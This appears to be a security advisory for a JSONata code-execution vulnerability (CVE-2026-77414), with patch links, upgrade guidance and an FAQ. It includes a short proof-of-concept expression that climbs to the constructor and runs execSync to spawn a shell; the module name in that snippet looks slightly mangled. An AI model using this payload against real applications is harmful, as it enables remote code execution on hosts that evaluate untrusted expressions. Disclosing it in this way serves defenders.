CVE-2026-77414: JSONata: Arbitrary Code Execution via crafted JSONata expressions
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $hasOwnProperty := $spread($string); $proto := $constructor; $constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")(); ));
await expression.evaluate({});
Other sources
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with childprocess, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.2.1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 1.8.8 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch https://github.com/jsonata-js/jsonata/pull/799
Event History
Frequently Asked Questions
Which deployments are affected?
Applications using JSONata versions earlier than 1.8.8 or earlier than 2.2.1 are affected. The issue is in the JavaScript implementation's environment.lookup logic.
What must an attacker be able to do to exploit this?
An attacker needs the ability to supply or cause evaluation of a crafted JSONata expression. The provided proof of concept uses expression features to reach the object prototype and invoke Node.js child_process execution.
Is updating the package sufficient to address the issue?
Update JSONata to 1.8.8 or 2.2.1 or later, depending on the release line in use. The fix replaces the bypassable hasOwnProperty check in environment.lookup.
What can be done if an update cannot be applied immediately?
Do not evaluate JSONata expressions from untrusted sources. Restrict who can create or modify expressions until a fixed version can be deployed.